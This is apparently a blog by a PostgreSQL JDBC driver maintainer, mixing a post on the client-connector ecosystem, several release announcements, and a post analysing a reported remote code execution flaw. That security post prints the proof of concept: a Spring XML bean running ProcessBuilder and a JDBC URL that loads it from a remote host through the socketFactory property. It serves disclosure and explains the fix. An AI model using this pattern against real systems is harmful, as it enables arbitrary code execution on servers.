Saturday, December 14, 2024

Does anyone use client connectors for PostgreSQL ?

 Recently, I attended a conference talk about the vibrant ecosystem of PostgreSQL. It was a fascinating presentation, showcasing the incredible breadth of innovation in the PostgreSQL community. Extensions that push the boundaries of functionality, AI integrations within PostgreSQL, advanced connection pools, and robust cluster management tools were all highlighted.

But something vital was conspicuously absent. Can you guess? That’s right—not a single mention of client connectors.

Let’s pause for a moment and consider this: without clients to connect to PostgreSQL, how do you actually use any of these features?

Of course, one could argue, “We have libpq!” True, libpq is a core PostgreSQL client library written in C. However, most modern enterprise applications aren’t developed in C or C++—they’re built in higher-level languages like Java, Python, or .NET. That’s where the ecosystem of client connectors becomes indispensable.

Now, I’ll admit, I’m a bit biased. Having worked on the PostgreSQL JDBC driver for over 24 years, my perspective may naturally lean toward this critical layer of the stack. But that bias only drives my curiosity. So, I decided to do a little research.

Here’s what I found—a snapshot of the client connectors ecosystem, complete with the number of lines of code for each project:

ProjectLines of CodeLanguage
psqlodbc112,886C++
psycopg52,970Python
pgx52,905Go
crystal-pg3,858Crystal
node-postgres18,838Node.js
rust-postgres20,448Rust
pgjdbc168,541Java
pgjdbc-ng67,104Java
npgsql74,944C#
pg12,625Go
py-postgres23,576Python
postgres-gorm1,198Go
deno10,392TypeScript
ruby-pg            22,008              Ruby

That’s a grand total of 593,176 lines of code across 14 projects. To put this into perspective, PostgreSQL itself has about 1.3 million lines of code. The sheer volume of code dedicated to connecting applications to PostgreSQL is staggering, and yet client connectors often receive little visibility or recognition within the community.

Why is that? I’m not sure, but I can’t help but wonder. Considering their importance in making PostgreSQL accessible to a broad range of developers and applications, shouldn’t client connectors get a bit more love?

Thursday, February 3, 2022

CVE or not CVE

Background

The PostgreSQL JDBC group received an email from a security researcher that indicated that
they had found a Serious remote vulnerability.

The driver supports a number of plugins to allow the driver to be customized. Plugins are
specified as connection properties by providing the fully qualified class name of the Java
class that implements the plugin. One of these plugins is for customizing the SocketFactory.
This allows a user to customize the creation of the underlying sockets used by the JDBC
driver when connecting to a remote database. See javax.net.SocketFactory for details on what
a SocketFactory is.

The intended way to use this is as follows:

public static void main(String[] args) throws Exception {
String url = "jdbc:postgresql://node1/test?socketFactory=com.example.YourCustomSocketFactory&socketFactoryArg=SomeArgForYourClass";
try (Connection connection = DriverManager.getConnection(url)){
// do something useful with the connection here.
}
}


There are number of other connection properties plugins which are customizable such as
authenticationPluginClassName, sslhostnameverifier, sslfactory and sslpasswordcallback.
All are meant to allow you to provide your own class to provide custom behaviour for each
respective use case.

Exploit

The reporter discovered that it's possible to execute an arbitrary application using this
mechanism. This is done through a combination of the Postgres JDBC plugin interface and a
Spring Framework class that which will load an xml file from a webserver and execute code
described in the XML file.

The XML file they provided is:

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="/System/Applications/Calculator.app/Contents/MacOS/Calculator" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>


The facility in spring-context that enables this is org.springframework.context.support.ClassPathXmlApplicationContext
which will load a remote xml file and parse its contents as a Spring ApplicationContext.
This particular XML snippet would instantiate a ProcessBuilder with the argument
/System/Applications/Calculator.app/Contents/MacOS/Calculator

In order to run the Calculator program the following connect url was provided to the code above

"jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target.example.com/exp.xml"

Because the driver did not check to see if `ClassPathXmlApplicationContext` implemented
SocketFactory it dutifully instantiated it and ran the contents of the xml file above.
The reporter prefaced this report with "Remote code execution vulnerability" which of course
made us sit up and listen.

Analysis

We did find a flaw in our code; namely that *any* class could be instantiated not just a
SocketFactory in this case. The JDBC driver has been hardened in such a way that if you want
to instantiate a custom SocketFactory the provided class has to be extended from SocketFactory.
While this does not stop a user from creating a class that extends `SocketFactory` and doing
something malicious, this is beyond the scope of the driver to control.
Presumably the user provides their own classes and is aware of what they are doing.

As of versions 42.2.25 and 42.3.2 the driver will enforce that the class requested is of the
same type we expect. This enforcement of the plugin classes matching their intended uses
has been applied to the other plugin connection properties as well.

Now is this really a CVE and, if so, how serious is it?

In order to exploit this, a number of preconditions must be met:

1. The driver version must be susceptible to this vulnerability.
2. An exploitable class such as the Spring ClassPathXmlApplicationContext must be available
on the classpath.
3. The remote content that performs the exploit must be accessible to the server, either
locally on the same filesystem or network accessible remotely.
4. The connection properties for the JDBC driver must be configurable by the attacker at
runtime.

That last one makes this particularly difficult to exploit.
The attacker must be able to specify custom connection properties at runtime to override one
of the plugin interfaces with a malicious class and XML configuration. While this may be
possible in an environment where end users can fully customize the driver connection
properties, in those situations the users can likely more directly control what is being
executed as well. So while it may be exploited under though circumstance, the users have
full control to execute arbitrary classes.

While not checking the plugin class type is clearly a bug, the overall scope of this issue
is significantly limited due to the level of customization required to exploit it.

Thursday, January 25, 2018

PostgreSQL JDBC 42.2.1 released



The PostgreSQL JDBC team is pleased to announce the release of version 42.2.1.
This is primarily to fix some regressions:

Most notably:

  • Avoid connection failure when DateStyle is set to ISO (~PgBouncer) Issue 1080
  • Package scram:client classes, so SCRAM works when using a shaded jar PR#1091 1a89290e
  • reWriteBatchedInserts=true causes syntax error with ON CONFLICT Issue 1045PR 1082
  • Avoid failure in getPGArrayType when stringType=unspecified PR 1036


Thursday, January 18, 2018

PostgreSQL JDBC 42.2.0 released

The PostgreSQL JDBC team is pleased to announce the release of version 4.2.0.

Notable changes include:


  • Support SCRAM-SHA-256 for PostgreSQL 10 in the JDBC 4.2 version (Java 8+) using the Ongres SCRAM library. PR 842
  • Make SELECT INTO and CREATE TABLE AS return row counts to the client in their command tags. Issue 958 PR 962
  • Support Subject Alternative Names for SSL connections. PR 952
  • Support isAutoIncrement metadata for PostgreSQL 10 IDENTITY column. PR 1004
  • Support for primitive arrays PR#887 3e0491a
  • Implement support for get/setNetworkTimeout() in connections. PR 849
  • Make GSS JAAS login optional, add an option "jaasLogin" PR 922 see [Connecting to the Database]{https://jdbc.postgresql.org/documentation/head/connect.html
  • Tuesday, August 1, 2017

    PostgreSQL JDBC 4.1.4 driver released

    The PostgreSQL JDBC team is pleased to announce the release of version 4.1.4.

    Below are changes included since 42.1.1

    Version 42.1.4 (2017-08-01)

    Notable changes

    • Statements with non-zero fetchSize no longer require server-side named handle. This might cause issues when using old PostgreSQL versions (pre-8.4)+fetchSize+interleaved ResultSet processing combo. see issue 869

    Version 42.1.3 (2017-07-14)

    Notable changes
    • fixed NPE in PreparedStatement.executeBatch in case of empty batch (regression since 42.1.2) PR#867

    Version 42.1.2 (2017-07-12)

    Notable changes
    • Better logic for returning keyword detection. Previously, pgjdbc could be defeated by column names that contain returning, so pgjdbc failed to "return generated keys" as it considered statement as already having returning keyword PR#824 201daf1d
    • Replication API: fix issue #834 setting statusIntervalUpdate causes high CPU load PR#83559236b74
    • perf: use server-prepared statements for batch inserts when prepareThreshold>0. Note: this enables batch to use server-prepared from the first executeBatch() execution (previously it waited for prepareThreshold executeBatch() calls) abc3d9d7

    Saturday, May 6, 2017

    PostgreSQL JDBC driver 42.1.1 released

    The JDBC development group has released the latest driver with the following notable changes

    Notable changes
    • fix: data being trucated in setCharacterStream (the bug introduced in 42.0.0) PR#802
    • fix: calculation of lastReceiveLSN for logical replication PR#801
    • fix: make sure org.postgresql.Driver is loaded when accessing though DataSource interface #768
    • feat: support fetching a REF_CURSOR using getObject PR#809
    • note: there's no 42.1.0.jre6 due to infinity handling bug. Fixed in 42.1.1.jre6

    • fix: infinite dates might be corrupted when transferred in binary for certain JREs. For instance, 5881610-07-11 instead of infinity.

    Friday, April 7, 2017

    Trusted Languages in PostgreSQL ... finally with PL/Container

    Today PL/Container has been released as open source under the BSD license.

    PL/Container runs Python code (and hopefully R code when we can open source it) inside a Docker container. The server side code running inside GPDB communicates with the container using an RPC protocol very similar to the GPDB FE/BE protocol.

    Of course there is some overhead but with complicated enough functions this overhead is overcome by the ability to throw more computing power at the problem.

         For example a complicated function that brute force computes the prime numbers below 10,000 runs in approx. 250ms, actually runs faster.